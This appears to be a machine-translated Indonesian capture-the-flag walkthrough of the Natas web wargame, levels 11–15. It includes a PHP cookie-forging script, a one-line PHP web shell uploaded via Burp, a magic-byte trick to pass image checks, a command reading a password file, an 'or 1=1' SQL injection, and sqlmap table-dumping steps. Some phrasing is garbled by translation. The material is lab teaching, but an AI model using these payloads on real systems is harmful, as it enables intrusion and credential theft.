
Pada artikel ini, kita akan membahas operasi beberapa identitas WEB menggunakan wargame
Natas sebagai contoh. Setiap level memiliki akses ke kata sandi level selanjutnya. Semua kata sandi juga disimpan di file / etc / natas_webpass /. Sebagai contoh, kata sandi untuk natas5 disimpan dalam file / etc / natas_webpass / natas5 dan hanya-baca untuk pengguna natas4 dan natas5.
Informasi OrganisasiTerutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:
- PWN;
- kriptografi (Crypto);
- teknologi jaringan (Jaringan);
- membalikkan (Reverse Engineering);
- steganografi (Stegano);
- pencarian dan eksploitasi kerentanan WEB.
Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.
Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat
saluran di Telegram dan
grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi
secara pribadi dan akan menjawab semua orang .
Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.
level 11
Pecahkan kode:
- kata sandi akan tersedia jika nilai dari array data dengan kunci sandi sandi adalah "ya";

- array data dibuat oleh fungsi loadData, di mana data default dilewatkan sebagai parameter;


- fungsi loadData memuat nilai data dari cookie (menyandikan data dalam base64, mengenkripsi xor pada kunci yang tidak diketahui, mendekode data dalam format json);


- menetapkan nilai yang diterima.
Apa yang perlu Anda lakukan:
- pulihkan kunci enkripsi XOR:
- mengambil data terenkripsi dari cookie;
- decode base64;
- menyandikan data default dalam format json;
- Proxor menerima tenggat waktu.
- menyandikan dan mengenkripsi data baru menggunakan algoritma invers, di mana showpassword == ya ;
- masukkan data baru ke dalam cookie dan muat ulang halaman.

<?php function xor_encrypt($in, $k) { $key = $k; $text = $in; $outText = ''; for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $old_data_code = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw"; $old_data_decode = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); $new_data_decode = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); $KEY = xor_encrypt(base64_decode($old_data_code), json_encode($old_data_decode)); echo "key: ". $KEY . "\n"; $KEY="qw8J"; $new_data_code = base64_encode(xor_encrypt(json_encode($new_data_decode), $KEY)); echo "new cookie: " . $new_data_code . "\n"; ?>


level 12
Ketika Anda menyimpan file ke situs, itu disimpan di bawah nama acak dan ekstensi JPEG. Tetapi yang paling penting adalah bahwa nama ini dibentuk dan diberikan kepada pengguna dalam bidang tersembunyi dari formulir tersembunyi sebelum file dipilih, dan setelah itu dikirim ke server dengan file tersebut.
Tugas: membuat php-shell, memotong permintaan ke server dan
ubah nama file menjadi * .php.
<? echo system($_GET["cmd"]); ?>

Kami menggunakan Burp Suite: Kami menetapkan pengaturan proxy browser ke 127.0.0.1:8080. Kirim cangkangnya. Di tab Proksi, kami mengganti permintaan.



Kami beralih ke file kami di server, meneruskan perintah ke baris perintah melalui parameter cmd.
cat /etc/natas_webpass/natas13

Jenis kerentanan ini diklasifikasikan sebagai Upload File Tidak Terbatas.
Untuk membuat Shell, yang terbaik adalah menggunakan konstanta php, karena pelaksanaan fungsi sistem mungkin dilarang oleh pengaturan server.
level 13
Saat menyimpan shell yang sama ke server, kami diberitahu bahwa ini bukan gambar. Kami menganalisis kodenya.

Fungsi exif_imagetype hadir.


Untuk memeriksa file JPEG, fungsi ini menggunakan fungsi internal is_jpeg, yang memeriksa empat byte pertama file.

Faktanya adalah bahwa penerjemah php mengeksekusi kode antara <? ?>, melewatkan semua karakter lain. Buka shell dari level sebelumnya di hex editor dan tambahkan byte 0xFFD8FFE0 ke awal file.

Kirim ke situs dengan analogi dengan level sebelumnya dan dapatkan kata sandi.

level 14
Kesalahan umum dalam formulir otorisasi. Permintaan basis data:
SELECT * from users where username="username" and password="password";

Dimungkinkan untuk selalu membuat permintaan itu benar: login = "admin" atau 1 = 1 - ".

Dalam hal ini, atau 1 = 1 menghasilkan true, dan sisa permintaan dikomentari:
SELECT * from users where username="admin" or 1=1;
Kami mengambil kata sandi.

Jenis kerentanan ini termasuk dalam kategori SQL Injection.
level 15
Pada formulir ini, kami menganalisis operasi sqlmap. Kirim permintaan dan potong data dan tajuk HTTP.


Kami hanya memilih informasi yang diperlukan dari header. Dalam hal ini: Agen-Pengguna, Referer, Otorisasi. Setel parameter sqlmap:
- -u "URL"
- --headers = "Header HTTP, dipisahkan oleh` \ n`"
- --data = "Data permintaan POST"
- --current-db - tentukan database mana yang digunakan
- --tamper = space2comment - ganti spasi dengan string / ** / (dalam SQL, ini adalah hal yang sama)
- --level = (1-5) - level pemindaian
- --risk = (1-3) - risiko pemindaian

Sqlmap menentukan bahwa parameter nama pengguna rentan terhadap injeksi Blind Berbasis Boolean, dan menunjukkan respons database yang benar terhadap peristiwa yang benar (dalam pemindaian berikutnya, Anda dapat segera menentukan parameter rentan dan jenis injeksi: -p nama pengguna dan --technique = B).
B: Injeksi SQL buta berbasis Boolean
U: UNION permintaan injeksi SQL
T: Injeksi SQL buta berbasis waktu
E: Injeksi SQL berbasis kesalahan
S: Stacked query SQL injection
Sqlmap mendeteksi DBMS MySQL (dalam pemindaian berikutnya, parameter --dbms = MySQL) dan bertanya apakah perlu untuk menentukan versi mysql (standarnya adalah ya).

Sqlmap melaporkan bahwa versi MySQL> = 5.0.12 (ini diperlukan untuk memilih konstanta utilitas DBMS).

Sqlmap menentukan beban untuk parameter nama pengguna dan bertanya apakah parameter lain harus diperiksa (secara default, tidak). Itu juga menunjukkan beban.

Memberikan informasi tentang simpul dan, seperti yang kami minta, database saat ini: natas15.


Mengingat data baru yang diketahui, kami menemukan tabel dari database natas15:
- -D "database"
- --tables - define tables

Sqlmap mendefinisikan satu tabel pengguna.

Kami mengenali kolom di tabel pengguna:
- -T "meja"
- --columns - tentukan kolom

Sqlmap mendefinisikan 2 kolom.

Kami membuang tabel pengguna (opsi --dump). Pembuangan itu memakan waktu 3 menit. Kami mengeksekusi permintaan dalam 8 utas (- benang 8) - sebagai hasilnya: 1 menit.

Kami mengambil kata sandi.
Untuk dilanjutkan. Anda dapat bergabung dengan kami di
Telegram .